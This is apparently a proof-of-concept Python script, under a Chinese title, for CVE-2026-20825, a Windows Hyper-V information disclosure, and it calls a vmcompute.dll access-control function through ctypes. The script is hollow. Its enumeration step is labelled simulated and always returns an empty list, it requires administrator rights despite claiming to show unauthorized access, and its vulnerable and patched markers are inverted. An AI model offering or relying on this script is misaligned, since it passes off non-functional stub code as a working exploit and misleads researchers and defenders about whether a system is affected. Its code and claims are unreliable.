CVE-2026-20825: Windows Hyper-V 本地信息泄露漏洞

# CVE-2026-20825 Windows Hyper-V Information Disclosure PoC # Note: This PoC is for educational and security research purposes only # Unauthorized access to computer systems is illegal import ctypes import sys from ctypes import wintypes # Windows API definitions class HYPERVISOR_ACCESS_CTX(ctypes.Structure): _fields_ = [ ("Version", wintypes.DWORD), ("Flags", wintypes.DWORD), ] def check_hyperv_access(): """ Check if the current process has proper Hyper-V access control validation This demonstrates the improper access control vulnerability """ try: # Attempt to access Hyper-V management interface # In vulnerable versions, access control checks may be bypassed # Load Hyper-V related DLL hvm = ctypes.windll.LoadLibrary("vmcompute.dll") # Get Hyper-V access context ctx = HYPERVISOR_ACCESS_CTX() ctx.Version = 1 ctx.Flags = 0 # This call demonstrates improper access control # In vulnerable versions, it may return success even without proper authorization result = hvm.HvGetAccessControlContext(ctypes.byref(ctx)) if result == 0: print("[-] Access control check passed (potential vulnerability)") return True else: print("[+] Access properly denied") return False except Exception as e: print(f"[!] Error: {e}") return None def enumerate_vm_resources(): """ Enumerate VM resources - demonstrates information disclosure """ try: # Code to enumerate VM configurations and sensitive data # This would expose information that should be protected print("[*] Attempting to enumerate VM resources...") # Simulated resource access vm_list = [] # In vulnerable version, we might retrieve VM configurations # that should require higher privileges to access return vm_list except Exception as e: print(f"[!] Enumeration failed: {e}") return [] def main(): print("=" * 60) print("CVE-2026-20825 PoC - Windows Hyper-V Information Disclosure") print("=" * 60) # Check if running with elevated privileges if not ctypes.windll.shell32.IsUserAnAdmin(): print("[!] This PoC requires administrator privileges") print("[!] Please run as administrator") return print("[*] Running with elevated privileges") print("[*] Checking Hyper-V access control...") # Check for vulnerability is_vulnerable = check_hyperv_access() if is_vulnerable: print("[!] System may be vulnerable to CVE-2026-20825") print("[*] Attempting resource enumeration...") resources = enumerate_vm_resources() print(f"[*] Found {len(resources)} VM resources") else: print("[+] System appears to be patched") if __name__ == "__main__": main()